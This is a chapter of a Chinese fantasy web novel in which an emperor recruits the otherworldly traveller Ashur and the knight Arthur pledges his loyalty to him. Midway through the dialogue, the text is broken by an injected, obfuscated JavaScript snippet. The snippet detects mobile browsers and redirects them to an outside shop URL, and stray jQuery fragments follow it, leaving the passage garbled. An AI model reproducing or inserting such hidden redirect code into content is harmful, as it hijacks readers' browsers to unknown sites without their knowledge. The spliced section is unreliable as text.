“陛下真幽默。”
艾什尔脸上挂着那种恰到好处的困惑，甚至还配合地眨了眨眼。
“召唤法阵是您亲自主持的。我从阵里走出来，您现在告诉我，我不是被召唤的勇者？”
“那天的召唤仪式，亚瑟、克莱尔、希罗的灵魂都在法阵牵引下产生了共鸣。他们是被选中的，是世界意志对异界灵魂的呼唤。”
“而你，你是自己推门进来的。大摇大摆走进来的，还自带了把椅子坐下。”
皇帝的声音里带上了一丝笑意。
“异界勇者？不。你是异类，是观察者，或者是……某个比朕的想象还要遥远的地方派来的旅者？”
艾什尔看着他。
过了好几秒，他忽然笑了。
那种带着一点恶劣、很多漫不经心、完全卸下伪装的笑。
“旅者……”他品了品这个词，“这说法不错。听起来比救世主轻松多了。”
他没有反驳，这本身就是态度。
这就够了。
“你是变数，也是朕在这个死气沉沉的棋盘上等到的唯一惊喜。”
空气突然变重，属于圣域强者的威压不再收敛，毫无保留地压向这方露台。
风停了。
艾什尔被吹乱的黑发重新落回额前，遮住了眉弓。
“朕不在乎你来自哪里，也不在乎你的力量源自何处，哪怕那是连赫利恩的光辉都照不到的阴影。”
奥雷里乌斯的金瞳深处，仿佛有熔金般的流体在循环。
“只要，你能为朕所用。”
“招揽？”
“这是给你一个选择。做朕手中的剑，还是做别人棋盘上的卒。塞莱斯廷想用你，斯特林想拉拢你，其他势力也会盯上你。这座因为光芒太盛而滋生了太多阴影的皇宫里，每个人都有自己的算盘。”
皇帝伸出手，掌心向上，做了一个邀请的姿势。
不是君主对臣下的恩赐，是合伙人之间的握手姿态。
“只要你能帮朕斩断那些伸得太长的手，无论是来自深渊的触手，还是某些权臣的老树盘根。”
“作为回报，朕可以给你在这个世界畅通无阻的特权。财政部的金库大门为你敞开，皇家图书馆的禁区由你阅览，甚至是……”
“规则为你让步的自由。”
艾什尔垂眸，视线落在那只手上。
修长，有力，保养得很好。一只握权杖的手，一只习惯了掌控生死、拨弄命运的手。
但这只手的主人，却是一个能一击斩断山脉的圣域级强者。
这很有趣。
艾什尔笑了起来。
这一次，他的笑意到达了眼底。红眸深处仿佛有什么东西在跳动。
“自由……真是个昂贵又虚幻的赠品，通常出现在那些准备赖账的老板嘴里。”
他没有伸手去握。
艾什尔举起手中的保温杯，轻轻撞上了皇帝悬在半空的手背。
“既然是交易，那就得有契约精神。陛下，我不吃大饼，我只接受现结。”
年轻的皇帝缓缓收回手，完美的假面裂开一道缝，露出了属于年轻人的，带着几分无奈和纵容的笑。
“你真的很贪婪。”
“那是美德。”艾什尔纠正道，转身走向露台出口，背对着这个帝国至尊挥了挥手，“也是第一生产力。”
……
亚瑟没有回去休息。
皇宫外侧的回廊由六十根汉白玉柱支撑，夕阳把这些柱子的影子拉得很长。
骑士靠在柱子上，双手抱臂，头垂得很低。金发遮住了眉骨，看不清表情。
听到脚步声，他几乎是条件反应般地站直了身体，天蓝色的眼眸里瞬间亮起的光芒。
“艾什尔。”
他快步迎了上来，目光快速地在艾什尔身上扫了一圈。确认没有任何受伤的痕迹，也没有精神受控的迹象后，骑士才真正松了一口气。
“我还以为……”
他意识到自己的担忧有些多余。
“是大主教？他对你做什么了？”
那双蓝眼睛直直地看过来，纯粹而直白，没有杂质，像一只在门口等了一整天终于等到主人回家的大金毛。
艾什尔停在他面前。
“辛苦了。”
然后他抬起手，在亚瑟金色的短发上揉了一把。
那头金发摸起来意外地柔软。
亚瑟整个人僵住了。他比艾什尔高出些许，被这么突然地摸头，不得不配合着低下脑袋。
“……你在干什么？”
骑士困惑，但并没有躲开。
“没什么。”艾什尔收回手，脸上挂着一如既往的漫不经心的笑意，“就是觉得你站在这里的样子挺乖的。”
“乖？”
“嗯，像那种会在雨里等主人回家的狗。”
亚瑟的耳根以肉眼可见的速度红了一片。
他抬起手，似乎想碰一下刚才被触碰的地方，手举到一半又硬生生刹住，最后尴尬地放回身侧。
“我是骑士。”他抿了抿唇，强调，“不是狗。”
“是是是，骑士阁下。”
艾什尔像是什么都没发生一样转身往前走。
“这种事你自己信就行。克莱尔和希罗呢？”
“希罗回去休息了。克莱尔……虽然说要睡觉，但还是去了皇家图书馆。”
亚瑟跟上来，落后半个身位，保持着护卫的距离。
沉默了一会儿，亚瑟还是没忍住，又问了一遍。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199978|197114||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是大主教？我就知道他在觐见的时候一直盯着你看，肯定没安好心——”
“别那么紧张，骑士，只是喝杯茶。”
亚瑟皱起眉头，显然不相信这个轻描淡写的说辞。
“塞莱斯廷大主教不是那种会随便请人喝茶的人，尤其是单独召见。他问了什么？关于倒悬城？还是你的力量来源？”
“都有。他问我是不是有什么禁忌力量，是不是试图颠覆帝国的异端。”
亚瑟脚步一顿，脸色沉了下去。
“他怀疑你。”
“这是合理的政治嗅觉。毕竟，像我这种浑身上下写满了可疑二字的人，如果不被怀疑，那教会的情报系统才是真的出问题了。”
“那你……”
“我告诉他，那是我的家传秘术。”
艾什尔停下，转身。
夕阳正从回廊外斜切进来，把他的影子投在亚瑟身上。
“就像我告诉你的一样。”
亚瑟对上那道视线
逆光中那双暗红瞳孔深不见底，像是一片扔什么进去都不会有回响的深渊。
骑士沉默了一瞬。
然后他点了点头。
“我相信你。”
他说得很认真，没有犹豫，亦不需要证据。
阿福在脑海中啧啧称奇：「守序善良阵营的骑士果然是最好骗……我是说，最真诚的生物。少爷，您的良心不会痛吗？」
艾什尔移开了视线，重新迈开步子。
“而且，这次也不是全无收获。我们的皇帝陛下似乎并不喜欢他的主教把手伸得太长。”
亚瑟快步跟上：“陛下介入了？”
“不仅介入了，还亲自把我从那位慈祥的老人家手里捞了出来。”
亚瑟的表情变得复杂。皇帝亲自出面，从赫利恩的代言人手中保护一个异界之人，这意味着什么？是看重，还是另有所图？
“他跟你说了什么？”
“商业机密。”
艾什尔偏头对他笑了一下。
“不过你放心，不是什么坏事。至少目前为止，我们的合作关系达成了共识。”
“合作？”
“差不多。”
艾什尔没再多说，亚瑟也没再问。
因为他知道界限在哪里。
有些事情，艾什尔愿意说就会说，不愿意说就不会说。追问没有意义。
长廊到了尽头。
“无论你要做什么……我的剑，为你而执。”
对一位骑士来说，这样的承诺，已是将自己的荣誉与命运一并托付。
「叮！检测到忠诚度判定大成功。少爷，这条大狗算是彻底赖上您了。建议您准备好狗粮，或者项圈？」
“太吵了，阿福。”